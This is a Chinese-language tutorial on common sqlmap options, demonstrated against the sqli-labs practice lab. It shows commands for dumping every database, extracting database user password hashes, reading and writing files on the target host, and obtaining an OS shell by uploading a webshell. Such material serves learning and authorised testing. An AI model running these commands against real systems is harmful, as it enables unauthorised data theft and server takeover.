SQLmap常用命令
此文章以sqli-labs第一关做选项测试
所有需要填的参数,最好加上双引号,这属于是后知后觉了
指定目标
-
指定一个url
sqlmap -u http://192.168.43.16/sqli-labs/Less-1/?id=1 -
指定一个含有url的文件
该选项可以测试多个url
sqlmap -m e:/url.txt
-
指定一个含有http请求头的文件
sqlmap -r e:/http.txt
抓你想测试页面的包
保存在一个文件里
测试条件
有的网页要登录之后才能测试,这时你可能要用到上面请求标题的选项了
例如
–cookie=COOKIE HTTP Cookie header value (e.g. “PHPSESSID=a8d127e…”)
如果是post请求还需要用到
–method=METHOD Force usage of given HTTP method (e.g. PUT)
–data=DATA Data string to be sent through POST (e.g. “id=1”)
当然了你如果想简单点,可以用burpsuite进行抓包,然后把请求包放在一个文件里,接着使用-r选项就行
sqlmap -r e:/http.txt
查询内容
-
自动选择默认选项
--batch (一般测试数据比较多的时候用) -
查看注入的详细信息
-v Verbosity level: 0-6 (default 1)
0:只输出 Python 出错回溯信息,错误和关键信息。
1:增加输出普通信息和警告信息。
2:增加输出调试信息。
3:增加输出已注入的 payloads。
4:增加输出 HTTP 请求。
5:增加输出 HTTP 响应头
6:增加输出 HTTP 响应内容。
通常使用-v 3就够用了 -
查看数据库版本
sqlmap -u http://192.168.43.16/sqli-labs/Less-1/?id=1 --banner
-
查看当前用户
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-user
-
查看当前数据库
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db
-
查看全部数据库
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
-
查看某个库的所有表
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xvwa --tables
-
查看某个表的所有记录
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xvwa -T users --dump
脱裤
sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 --exclude-sysdbs --dump-all --batch
–exclude-sysdbs 排除所有的系统数据库
–dump-all 导出所有数据库表条目
–batch 以默认参数运行
执行CMD命令
- 获得一个交互型的shell
sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 --os-shell
根据探测出来的信息进行选择
自定义选择有权限写入的目录,一般其他选项都爆破不出来正确的路径(这里有权限写入标重点,等下会说明)
这里直接复制web服务器根目录的绝对路径就好
成功拿到shell
如果这里拿shell失败
修改my.ini 在**[mysqld]**内加入secure_file_priv =
secure_file_priv的含义可以参考这篇文章
https://blog.csdn.net/weixin_34082695/article/details/93120118
--os-shell要上传一个木马到目标主机里才能拿shell,所以目标主机必须允许写入\读取功能
拿到交互型sql的shell
–sql-shell
如果数据检索出问题,可以加 --no-cast 选项
文件系统操作
- 读取目标主机某个文件
sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 --file-read=e:/url.txt
保存到特定位置
确实读取到了
- 将本地文件写入目标主机
sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 --file-write=e:/url.txt --file-dest e:/haha.txt
这里是将本地的url.txt文件内容,写入到了目标主机e盘下的haha.txt文件里
查看敏感信息
-
查看所用数据库用户
--users -
查看数据库用户密码
--passwords
-
查看数据库用户权限
--privileges
sqlmap命令改别名
在任意目录下新建bat文件
添加红框的两行内容,当然sqlmap的路径你要改为你自己sqlmap.py的绝对路径
接着打开注册表
一步步打开下面的路径,在右边新建一个autorun的文件,类型为字符串
数值数据填你刚刚新建bat的路径
新建完之后,打开cmd
直接输入sqlmap就能使用了
SQLmap中文文档
https://sqlmap.campfire.ga/usage
有了这个还会不懂怎么用么??